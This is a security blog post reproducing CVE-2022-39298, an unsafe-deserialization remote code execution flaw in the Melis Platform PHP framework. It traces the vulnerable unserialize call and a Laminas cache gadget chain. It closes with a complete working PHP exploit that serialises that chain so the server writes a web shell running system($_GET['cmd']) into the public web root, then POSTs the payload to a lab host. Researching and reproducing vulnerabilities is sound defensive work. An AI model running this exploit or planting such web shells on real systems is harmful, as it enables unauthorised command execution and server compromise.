This page looks best with JavaScript enabled

Reproduce bug: Remote Code Execution in Melis Platform

 ·  โ˜• 9 min read  ·  ๐Ÿ‰ Edisc
    ๐Ÿท๏ธ
  • #php

Reproduce bug: Remote Code Execution in Melis Platform


Continuing from the previous article series, in this post, I will apply the knowledge learned and research on PHP deserialize to reproduce CVE-2022-39298

I Building environment

  • What is melis-framework?

    Melis Framework is an open-source PHP web application framework for building custom, modular, and scalable e-commerce solutions. It is based on the Laminas Framework (formerly known as the Zend Framework) and provides additional modules and tools to make it easier to develop e-commerce applications.

    Melis Framework features a powerful and flexible content management system, which allows developers to create custom pages, blocks, and widgets. It also includes a robust shopping cart system with support for multiple payment gateways, shipping providers, and tax rates. Additionally, it offers various integrations such as social media, mailing list services, and Google Analytics.

    Melis Framework uses the Model-View-Controller (MVC) architecture and relies on the Composer dependency management system to manage packages and libraries. It is highly customizable and extensible, allowing developers to add their own modules, themes, and plugins to meet specific project requirements.

One of the most challenging issues I find when reproducing this CVE related to this framework is having to rebuild the environment, which takes a considerable amount of time and effort.

After spending a few days searching for many sources of information on the internet (in fact, there are not many resources discussing this issue), I found that the best way is to follow the step-by-step video instructions on the website Download & Documentation (melistechnology.com. However, there is a difficulty that the website only provides installation instructions for the next step on the Windows platform, while I am using it on the Linux environment.

I noticed that there was a section in the guide for building docker-compose. Therefore, I decided to read the contents the docker-compose.yml file, make some modifications to build it locally.

The important notice here is that during setup, at the final step, it is advisable to follow the video tutorial to create a sample site. This helps us save time in triggering the vulnerability.

II Vulnerability identification

  • At melis-front/src/Controller/MelisPluginRendererController.php

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    
    class MelisPluginRendererController extends MelisAbstractActionController
    {
      public function getPluginAction()
      { 
          // [...]
          $post = $this->getRequest()->getPost()->toArray();     // [1]
          $pluginHardcodedConfig = array();
          if (!empty($post['pluginHardcodedConfig']))
          {
              $pluginHardcodedConfig = $post['pluginHardcodedConfig']; // [2]
              $pluginHardcodedConfig = html_entity_decode($pluginHardcodedConfig, ENT_QUOTES);
              $pluginHardcodedConfig = html_entity_decode($pluginHardcodedConfig, ENT_QUOTES);
              $pluginHardcodedConfig = unserialize($pluginHardcodedConfig); // [3]
    
  • At line 13, the unserialize() function is called with the parameter $pluginHardcodedConfig which is obtained from $post (at line 6).

  • The class MelisPluginRendererController is extended from MelisAbstractActionController class which is located in Laminas\Mvc\Controller\AbstractActionController.

  • From this, we can infer the framework being used is Lamimas. The Laminas\Mvc\Controller::getRequest() method returns an object of type Laminas\Http\Request. This object has a getPost()->toArray() method which retrieves the POST data and stores it in $post (at line 6). An attacker can control the value of this variable.

III Finding source from sink

  • Tracing the sink, I found that it is related to the file module.config.php in melis-platform.

  • The source code of vendor/melisplatform/melis-front/src/Controller/MelisPluginRendererController.php shows that:

    • This bug relates to a plugin.
    • This Framework is built following the MVC model.
  • trรชn trang document cแปงa melis, cรณ 1 trang webdemo

  • On the Melis documentation page, there is a web demo and a sample config page.

  • From here, I realize that the vulnerability occurred on the website hosted on the Melis framework, but what I am doing is looking for the bug on the Melis framework, which is the wrong direction. ๐Ÿ˜”๐Ÿ˜”๐Ÿ˜”

    Therefore, the next step is to create a website hosted on the Melis-framework like the sample site on the local machine.

  • After a day of research, I found out the cause of the issue. During the installation process, there was an option to install with a demo version. After installing, all I need to do is access the demo website, and the plugin will automatically trigger.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
POST /news/id/2 HTTP/1.1
Host: www.mysite.local
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/112.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://www.mysite.local/melis
Cookie: PHPSESSID=dhd40qdsqb3goj8lkmausre78d; show_bubble_plugins=true; dashboard_notify=false
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

pluginHardcodedConfig=Ediscxxxxxx

Untitled

And at this point, we can also control any value passed into the unserialize() function, which is enough to move on to the next phase.

IV Building a POP chain

Supporting tool - PHPGGC

PHPGGC is a library of unserialize() payloads along with a tool to generate them, from command line or programmatically. When encountering an unserialize on a website you don’t have the code of, or simply when trying to build an exploit, this tool allows you to generate the payload without having to go through the tedious steps of finding gadgets and combining them. It can be seen as the equivalent ofย frohoff’s ysoserial, but for PHP. Currently, the tool supports gadget chains such as: CodeIgniter4, Doctrine, Drupal7, Guzzle, Laravel, Magento, Monolog, Phalcon, Podio, Slim, SwiftMailer, Symfony, Wordpress, Yii and ZendFramework.

1
2
3
4
5
6
7
./phpggc -i Laminas/FD1
Name           : Laminas/FD1
Version        : <= 2.11.2
Type           : File delete
Vector         : __destruct

./phpggc Laminas/FD1 <remote_path>

But the impact causes is too too significant and destructive for organizations. As a pentester, we need to find other chains that have less impact.

Finding new chain

  • The authorโ€™s experience with unserialize shows that the caching systems are suitable targets for attacks and control. Because most applications tend to trust the content from the cache.
  • The application uses laminas/laminas-cache as a third-party dependency, which supports various backend storage features such as apcu,ย blackhole,ย mongodb,ย filesystem,ย memcached,ย memory,ย redis and session.
  • After going through the classes, the author found a comment in the code
1
	Saves any deferred items that have not been committed

At laminas-cache/src/Psr/CacheItemPool/CacheItemPoolDecorator.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
<?php

namespace Laminas\Cache\Psr\CacheItemPool;

# [...]
class CacheItemPoolDecorator implements CacheItemPoolInterface
{
   /**
    * Destructor.
    *
    * Saves any deferred items that have not been committed
    */
   public function __destruct()
   {
       $this->commit();
   }
  • This means that there must be some way to use this class to store new items in the cache.

  • Go deeper into the commit() function at vendor/laminas/laminas-cache/src/Psr/CacheItemPool/CacheItemPoolDecorator.php

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    
    public function commit()
        {
            $notSaved = [];
    
            foreach ($this->deferred as &$item) {
                if (! $this->save($item)) {
                    $notSaved[] = $item;
                }
            }
            $this->deferred = $notSaved;
    
            return empty($this->deferred);
        }
    
    • It is easy to notice that all values of $this->deferred are saved to cache by the $this->save() function (lines 5-9)
  • Go deeper into the $this->save() function

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    
    public function save(CacheItemInterface $item)
        {
            if (! $item instanceof CacheItem) {
                throw new InvalidArgumentException('$item must be an instance of ' . CacheItem::class);
            }
    
            $itemTtl = $item->getTtl();
    
            // delete expired item
            if ($itemTtl < 0) {
                $this->deleteItem($item->getKey());
                $item->setIsHit(false); // khรดng cรณ trong cache
                return false;
            }
    
            $saved   = true;
            $options = $this->storage->getOptions();
            $ttl     = $options->getTtl();
    
            try {
                // get item value and serialize, if required
                $value = $item->get();
    
                // reset TTL on adapter, if required
                if ($itemTtl > 0) {
                    $options->setTtl($itemTtl);
                }
    
                $saved = $this->storage->setItem($item->getKey(), $value);
                // saved items are a hit? see integration test CachePoolTest::testIsHit()
                $item->setIsHit($saved);
            } catch (Exception\InvalidArgumentException $e) {
                throw new InvalidArgumentException($e->getMessage(), $e->getCode(), $e);
            } catch (Exception\ExceptionInterface $e) {
                $saved = false;
            } finally {
                $options->setTtl($ttl);
            }
    
            return $saved;
        }
    
    • The code line $saved = $this->storage->setItem($item->getKey(), $value);is used to save the value to the filesystem storage backend, and since we can control all variables of deserialized classes, we can point the filesystem storage to any file on the local disk and write to it.

    • ฤiแปu nร y cรณ thแปƒ bแป‹ khai thรกc bแบฑng cรกch tแบกo mแป™t kแป‹ch bแบฃn PHP trรชn ฤ‘ฤฉa, cรณ thแปƒ ฤ‘ฦฐแปฃc thแปฑc thi trแปฑc tiแบฟp bแปŸi trรฌnh thรดng dแป‹ch. Miแป…n lร  tแบญp lแป‡nh cรณ phแบงn mแปŸ rแป™ng .php vร  bแบฏt ฤ‘แบงu bแบฑng <?php, bแบฅt kแปณ dแปฏ liแป‡u nร o trฦฐแป›c nรณ ฤ‘แปu bแป‹ bแป qua vร  trรฌnh thรดng dแป‹ch PHP sแบฝ thแปฑc thi tแบญp lแป‡nh.

    • This can be exploited by creating a PHP script on disk that can be directly executed by the interpreter. As long as the script has .php extension and starts with <?php, any data before it will be ignored, and the PHP interpreter will execute the script.

  • Workflow (from Remote Code Execution in Melis Platform | Sonar (sonarsource.com))

    Untitled

My Exploit

This is the code Iโ€™ve written to exploit this vulnerability

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
<?php

namespace Laminas\Cache\Psr\CacheItemPool {
    class CacheItemPoolDecorator{}

    class CacheItem{}
}

namespace Laminas\Cache\Storage\Adapter {
    class Filesystem{}
    class FilesystemOptions{}
}

namespace {
   
    function httpPost($url, $data)
    {
        $curl = curl_init($url);
        curl_setopt($curl, CURLOPT_POST, true);
        curl_setopt($curl, CURLOPT_HEADER, true);
        curl_setopt($curl, CURLOPT_POSTFIELDS, $data);
        curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($curl, CURLOPT_PROXY, '127.0.0.1:8080'); //proxy
        printf($curl);
        $response = curl_exec($curl);
        // var_dump($response);
        curl_close($curl);
        return $response;
    }

    function pwn($url, $param){
        $shell = '<?php if(isset($_GET[\'cmd\'])) { system($_GET[\'cmd\']); } ?>';
        

        $cache_item = new Laminas\Cache\Psr\CacheItemPool\CacheItem;
        $cache_item->key="shell";
        $cache_item->value=$shell;

        $payload = new Laminas\Cache\Psr\CacheItemPool\CacheItemPoolDecorator;
        $payload->storage = new Laminas\Cache\Storage\Adapter\Filesystem;
        $payload->storage->options = new Laminas\Cache\Storage\Adapter\FilesystemOptions;
        $payload->storage->options-> cacheDir = "/var/www/html/public";
        $payload->storage->options-> dirLevel = 0;
        $payload->storage->options-> suffix = "php";
        $payload->storage->options-> namespace = "";
        $payload->storage->options-> keyPattern = "/.*/";

        $payload->deferred = array($cache_item);

        $data = "pluginHardcodedConfig=".serialize($payload);
        // print($data);
        echo "\n [*] Inject Payload ".$data;
        httpPost($url,$data);
        echo "\n\n\n [*] Successful!";
    }

// Exploit Main
    // $url = $argv[1];
    $url = "http://www.mysite.local/news/id/2";
    $param = "Hacked: by0d0ff9";

    pwn($url, $param);

}

?>

POC

V References

dahse2014 (1).pdf

Share on

Edisc
WRITTEN BY
Edisc
Cyber Security Engineer

 
What's on this Page